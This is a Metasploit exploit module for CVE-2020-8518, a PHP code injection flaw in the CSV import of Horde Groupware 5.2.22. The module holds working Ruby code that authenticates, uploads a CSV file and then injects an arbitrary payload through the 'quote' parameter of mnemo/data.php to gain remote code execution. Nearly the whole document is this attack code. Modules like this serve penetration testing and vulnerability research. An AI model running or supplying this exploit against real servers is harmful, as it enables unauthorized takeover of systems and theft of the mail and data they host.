The Horde_Data module version 2.1.4 (and before) present in Horde Groupware version 5.2.22 allows authenticated users to inject arbitrary PHP code thus achieving remote code execution the server hosting the web application.
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(
update_info(
info,
'Name' => 'Horde CSV import arbitrary PHP code execution',
'Description' => %q{
The Horde_Data module version 2.1.4 (and before) present in Horde
Groupware version 5.2.22 allows authenticated users to inject
arbitrary PHP code thus achieving RCE on the server hosting the web
application.
},
'License' => MSF_LICENSE,
'Author' => ['Andrea Cardaci <cyrus.and@gmail.com>'],
'References' => [
['CVE', '2020-8518'],
['URL', 'https://cardaci.xyz/advisories/2020/03/10/horde-groupware-webmail-edition-5.2.22-rce-in-csv-data-import/']
],
'DisclosureDate' => '2020-02-07',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Automatic', {}]],
'Payload' => {'BadChars' => "'"},
'Privileged' => false,
'DefaultOptions' => { 'PrependFork' => true },
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The path to the web application', '/']),
OptString.new('USERNAME', [true, 'The username to authenticate with']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
])
end
def login
username = datastore['USERNAME']
password = datastore['PASSWORD']
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'login.php'),
'cookie' => 'Horde=x', # avoid multiple Set-Cookie
'vars_post' => {
'horde_user' => username,
'horde_pass' => password,
'login_post' => '1'})
unless res && res.code == 302 && res.headers['Location'].include?('/services/portal/')
fail_with(Failure::UnexpectedReply, 'Login failed or application not found')
end
vprint_good("Logged in as #{username}:#{password}")
return res.get_cookies
end
def upload_csv(cookie)
csv_fname = Rex::Text.rand_text_alpha(6..8)
data = Rex::MIME::Message.new
data.add_part('11', nil, nil, 'form-data; name="actionID"')
data.add_part('1', nil, nil, 'form-data; name="import_step"')
data.add_part('csv', nil, nil, 'form-data; name="import_format"')
data.add_part('x', nil, nil, 'form-data; name="notepad_target"')
data.add_part(csv_fname, nil, nil, "form-data; name=\"import_file\"; filename=\"#{csv_fname}\"")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'mnemo/data.php'),
'cookie' => cookie,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s)
vprint_status("Uploading #{csv_fname}.csv")
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, 'Cannot upload the CSV file')
end
vprint_good('CSV file uploaded')
end
def execute(cookie, function_call)
options = {
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'mnemo/data.php'),
'cookie' => cookie,
'vars_post' => {
'actionID' => '3',
'import_step' => '2',
'import_format' => 'csv',
'header' => '1',
'fields' => '1',
'sep' => 'x',
'quote' => ").#{function_call}.die();}//\\"}}
send_request_cgi(options)
end
def exploit
cookie = login()
upload_csv(cookie)
# do not terminate the statement
function_call = payload.encoded.tr(';', '')
vprint_status("Sending payload: #{function_call}")
execute(cookie, function_call)
end
end